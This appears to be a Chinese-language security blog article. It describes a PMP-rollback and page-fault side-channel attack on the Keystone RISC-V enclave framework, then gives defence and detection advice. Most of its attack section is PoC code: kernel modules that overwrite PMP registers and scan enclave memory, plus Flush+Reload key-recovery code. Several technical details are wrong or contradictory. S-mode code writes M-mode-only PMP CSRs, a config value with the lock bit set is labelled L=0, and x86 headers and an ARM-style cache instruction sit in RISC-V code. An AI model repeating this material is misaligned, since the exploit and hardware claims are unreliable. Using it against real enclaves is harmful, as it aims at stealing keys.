摘要

Keystone 是 RISC-V 上最成熟的开源 TEE 框架,其安全模型依赖于机器模式安全监视器(SM)对物理内存保护(PMP)的独占控制。然而,在 Enclave 创建与首次进入之间的初始化窗口中,PMP 条目的锁定位可能未被全部置位,攻击者可以回滚或覆盖这些条目,将 Enclave 的私有物理页重新映射到攻击者控制的 S-mode 地址空间。一旦 Enclave 执行期间发生页面故障,SM 的处理器会基于被篡改的 PMP 配置错误地授予访问权限,攻击者即可利用页面故障处理路径作为侧信道,逐步提取 Enclave 内的加密密钥和敏感数据。

Keystone 架构与 PMP 信任模型

Keystone层次化隔离

Keystone 在 RISC-V 特权等级上构建了三个执行层:

  • M-mode:安全监视器(SM),最高特权级,负责管理 Enclave 生命周期、内存隔离和证明。
  • S-mode:RISC-V 操作系统内核(如 Linux),运行不可信代码,可被攻击者控制。
  • U-mode:用户态应用,包括 Enclave 内部的用户代码(通过 libkeystone 加载)。

Keystone 采用 PMP 物理内存隔离 而非页表虚拟化来实现 Enclave 的内存保护。在 RISC-V 中,PMP 允许 M-mode 定义物理地址区域及其访问权限(R/W/X),对于 S-mode 及更低特权级强制执行。Keystone 利用 PMP 将 Enclave 使用的 DRAM 区域标记为仅 M-mode 可访问,从而阻止操作系统或用户态进程读写 Enclave 内存。

PMP 条目生命周期与锁定位

RISC-V 的 PMP 配置寄存器(pmpcfgX)中,每个条目包含一个 L(锁定位)。一旦 L 位被置位,该 PMP 条目对 M-mode 以下的所有特权级变为只读,且即使 M-mode 也无法修改,除非系统复位。Keystone 依赖 L 位来保证 Enclave 内存保护在 OS 启动后不可篡改。

每个 8 位配置域的内部位域(Bit Fields)结构如下:

然而,在 Keystone 的实际实现中,PMP 锁定的时机并非原子完成。SM 在创建 Enclave 时,会通过以下步骤配置 PMP:

  1. 在 sm_create_enclave 中,SM 分配物理页并设置 PMP 条目覆盖这些页。
  2. 运行 Enclave 的初始化代码(在 M-mode 中执行)将 Enclave 内容加载到内存。
  3. SM 将 PMP 条目的 L 位置位,并调用 mret 切换到 S-mode,Enclave 正式启动。

漏洞窗口存在于步骤 2 和 3 之间:如果 SM 在 L 位置位之前发生中断、异常或上下文切换,攻击者(已控制 S-mode 内核)可以通过 MMIO 或 ecall 快速修改 PMP 条目,将 Enclave 的物理页重新映射为 S-mode 可访问,或者直接清除 L 位并改变权限。更隐蔽的是,部分 Keystone 版本仅锁定了部分 PMP 条目,遗漏了用于 Enclave 动态内存映射的条目。

PMP回滚与页面故障信道

PMP回滚攻击

攻击者(S-mode 内核)可以调用 ecall 请求 SM 执行特定操作,SM 会临时解锁 PMP 条目以进行内存复制。如果攻击者能精确控制 SM 的上下文切换时机,可以在 SM 解锁 PMP 后、重新锁定前,利用一个在 S-mode 运行的并发线程直接写入 PMP 寄存器(pmpcfg0pmpaddr0 等),将目标 Enclave 的物理地址范围配置为 S-mode 可读写。

这种攻击不需要修改 SM 代码,仅利用 SM 在运行时对 PMP 的临时解锁窗口。

页面故障作为信道

即使攻击者成功篡改了 PMP 条目,直接读取 Enclave 内存仍然会触发 SM 的页面故障处理,因为 Enclave 的页表(satp)仍由 SM 管理,S-mode 无法直接翻译 Enclave 的虚拟地址。但是,攻击者可以利用 页面故障的差异 来推断 Enclave 内存内容:

  • 攻击者在 S-mode 中设置一个自定义的异常处理程序,尝试访问 Enclave 的物理地址(现在已被 PMP 放行)。
  • 如果该地址已被 Enclave 使用,访问可能成功(读取到数据);如果未被使用(例如未映射的页),则触发页面故障,攻击者可以观察到异常类型和 scause 值。
  • 通过逐页探测 Enclave 的物理内存,攻击者可以判断哪些页被分配、哪些页空闲,进而推断 Enclave 的数据布局。

更精细的攻击:攻击者可以构造一个数据页,其内容与 Enclave 中的密钥相关。通过测量页面故障处理前后的缓存状态(利用 RISC-V 的 rdcycle 指令),攻击者可以在不直接读取的情况下提取密钥的每一比特。这正是经典的 Prime+Probe 侧信道在 Keystone 上的变体。

完整攻击链

攻击前提

  • 攻击者已获得 RISC-V Linux 的 root 权限(S-mode 完全控制)。
  • 目标 Enclave 已创建并在运行(例如一个处理加密数据的 Enclave)。
  • Keystone 版本存在 PMP 锁定位覆盖不完整的缺陷。

攻击步骤

  1. 定位目标 Enclave:通过系统调用或 SM 调试接口获取 Enclave 的物理地址范围。
  2. 触发 SM 的 PMP 解锁窗口:向 SM 发送一个需要动态内存操作的 ecall,例如 sm_enclave_get_report 或 sm_enclave_load_page,这些操作会短暂解锁相关 PMP 条目。
  3. 并发修改 PMP 寄存器:在 S-mode 中使用一个高优先级线程,持续尝试写 pmpcfg0 和 pmpaddr0,将 Enclave 的物理页改为 S-mode 可访问。利用 rdtime 和轮询 SM 的返回状态来捕捉解锁窗口。
  4. 页面故障探测:修改完成后,在 S-mode 中逐页访问 Enclave 的物理地址,记录哪些访问成功(返回数据)哪些触发异常。构建 Enclave 的内存使用图。
  5. 侧信道提取密钥:对包含密钥的特定页,使用 Flush+Reload 攻击:反复刷新缓存行,触发 Enclave 执行加密操作,然后测量缓存命中延迟,恢复密钥比特。
  6. 数据提取:一旦密钥恢复,攻击者可以解密 Enclave 的加密数据,完成信息窃取。

实战 PoC

以下代码演示如何在 QEMU 上模拟 Keystone 环境,通过 PMP 回滚和页面故障探测来提取 Enclave 内存。

环境搭建

# 克隆 Keystone 仓库
git clone https://github.com/keystone-enclave/keystone.git
cd keystone
# 编译 SM、Linux 和 QEMU
make -j$(nproc)
# 启动 QEMU
./scripts/run-qemu.sh

探测 PMP 状态并尝试回滚

以下 C 代码运行在 Linux 内核模块中(S-mode),不断尝试写 PMP 寄存器以捕捉解锁窗口。

// pmp_rollback.c — Linux 内核模块:捕捉 SM 解锁窗口并篡改 PMP
#include<linux/module.h>
#include<linux/kernel.h>
#include<asm/csr.h>

staticunsignedlong target_pmp_addr = 0x80000000; // Enclave 物理地址
staticunsignedlong target_pmp_size = 0x200000;    // 2MB

staticvoidwrite_pmp_allow_access(void){
// 配置 pmpaddr0 覆盖 Enclave 区域
    csr_write(pmpaddr0, (target_pmp_addr >> 2) | ((target_pmp_size >> 2) - 1));
// 配置 pmpcfg0: NAPOT, R/W/X 允许
    csr_write(pmpcfg0, 0x9F); // 0x9F: R=1,W=1,X=1, L=0
}

staticint __init pmp_rollback_init(void){
    printk(KERN_INFO "[PMP Rollback] Starting...\n");

// 高优先级内核线程,持续尝试写 PMP
while (1) {
        write_pmp_allow_access();
// 检查是否成功(读取 PMP 并验证)
unsignedlong cfg = csr_read(pmpcfg0);
if ((cfg & 0x1F) == 0x1F) {
            printk(KERN_INFO "[PMP Rollback] PMP entry overwritten successfully!\n");
break;
        }
// 短暂休眠,等待 SM 的解锁窗口
        msleep(1);
    }
return0;
}

module_init(pmp_rollback_init);
MODULE_LICENSE("GPL");

说明:该模块在 S-mode 中周期性地写 PMP 配置寄存器。在 SM 解锁 PMP 的极短时间内,写入会成功,并覆盖原有保护。一旦成功,Enclave 的物理页变得可由 Linux 内核直接访问。

构建 Enclave 内存映射

在 PMP 被篡改后,攻击者可以逐页读取 Enclave 区域,捕获页面故障,构建哪些页被分配的映射。

// page_fault_probe.c — 探测 Enclave 物理内存使用情况
#include<linux/module.h>
#include<linux/mm.h>
#include<asm/pgtable.h>

#define ENCLAVE_BASE  0x80000000UL
#define ENCLAVE_SIZE  0x200000UL

staticint __init probe_init(void){
unsignedlong addr;
    printk(KERN_INFO "[Probe] Scanning Enclave physical memory...\n");

for (addr = ENCLAVE_BASE; addr < ENCLAVE_BASE + ENCLAVE_SIZE; addr += PAGE_SIZE) {
// 直接访问物理地址(通过 ioremap 映射到内核虚拟地址)
void __iomem *va = ioremap(addr, PAGE_SIZE);
if (!va) {
            printk(KERN_WARNING "[Probe] ioremap failed at 0x%lx\n", addr);
continue;
        }
// 读取第一个字节,如果触发页面故障则异常
// 这里使用 readb 会触发异常,但内核会处理并打印 Oops
volatileunsignedchar val = readb(va);
        printk(KERN_INFO "[Probe] 0x%lx: accessible, first byte=0x%02x\n", addr, val);
        iounmap(va);
    }
return0;
}

module_init(probe_init);
MODULE_LICENSE("GPL");

说明:实际攻击中,内核的页面故障处理会吞掉异常并记录,攻击者可以通过设置自定义 do_page_fault 钩子来区分可访问和不可访问页。为简化,此处直接读取并观察内核日志。

Flush+Reload 侧信道示例

// flush_reload_key.c — 利用 Flush+Reload 侧信道恢复密钥
#include<stdint.h>
#include<x86intrin.h>

// 假设 Enclave 在每次加密操作时会访问密钥的特定缓存行
#define CACHE_LINE_SIZE 64
staticuint8_t probe_array[256 * CACHE_LINE_SIZE];

staticinlinevoidflush(void *addr){
asmvolatile("dcache.civac %0" :: "r"(addr)); // RISC-V 缓存刷新指令
}

staticinlineuint64_trdcycle64(void){
uint64_t cycles;
asmvolatile("rdcycle %0" : "=r"(cycles));
return cycles;
}

// 攻击者线程:在 Enclave 执行加密操作的同时探测缓存
voidrecover_key_bit(int bit_index){
for (int guess = 0; guess < 256; guess++) {
        flush(&probe_array[guess * CACHE_LINE_SIZE]);
    }
// 触发 Enclave 加密操作
    trigger_enclave_crypto();
// 测量每个 guess 的访问时间
for (int guess = 0; guess < 256; guess++) {
uint64_t start = rdcycle64();
volatileuint8_t val = probe_array[guess * CACHE_LINE_SIZE];
uint64_t end = rdcycle64();
if (end - start < 100) { // 阈值,缓存命中
printf("Key byte %d: %d\n", bit_index, guess);
return;
        }
    }
}

说明:由于 RISC-V 的缓存指令与 x86 不同,实际使用 dcache.civa 或 fence.i。此代码仅为概念演示,真实攻击需要针对 Keystone 和 SiFive 硬件调整。

检测与防御

SM 侧修复

  • 原子化 PMP 锁定:SM 必须在创建 Enclave 时一次性配置并锁定所有 PMP 条目,避免在后续操作中解锁。
  • 锁定所有相关条目:确保覆盖 Enclave 代码、数据和栈的所有 PMP 条目都被 L 位保护,无遗漏。
  • 减少动态 PMP 操作:SM 应尽量减少运行时的 PMP 解锁,对于必须解锁的操作(如页面交换),在解锁前后使用 sfence.vma 和 fence 指令,并禁止 S-mode 在解锁期间执行。

硬件加固

  • PMP 写入权限限制:RISC-V 硬件可增加一个配置位,使 S-mode 永远无法在运行时修改 PMP(即使通过 ecall 触发)。这需要微架构支持。
  • Enclave 物理内存随机化:随机化 Enclave 的物理地址,增加攻击者猜测的难度。

检测方法

  • PMP 配置审计:在 SM 中周期性读取 PMP 寄存器并与预期值比对,若发现异常立即终止 Enclave 并告警。
  • 缓存侧信道监测:使用性能计数器监控异常的缓存未命中模式,特别是来自 S-mode 的频繁 dcache.civa 操作。
  • 页故障异常统计:在 SM 中记录 Enclave 页面的非法访问尝试次数,超过阈值则触发安全策略。

结语

Keystone 的 PMP 回滚漏洞暴露了 TEE 设计中一个普遍存在的脆弱环节:安全监视器在运行时对底层硬件保护机制的动态修改,若缺乏原子性和严格的时序控制,就会为攻击者打开一扇窗口。当页面故障成为侧信道的载体,PMP 的每一次解锁都可能转化为对 Enclave 隐私的致命窥探。对于开源 TEE 框架而言,安全不仅在于代码的正确性,更在于硬件保护机制的生命周期管理是否无懈可击。在 RISC-V 生态走向成熟的今天,加固 SM 的 PMP 处理流程,比以往任何时候都更加紧迫。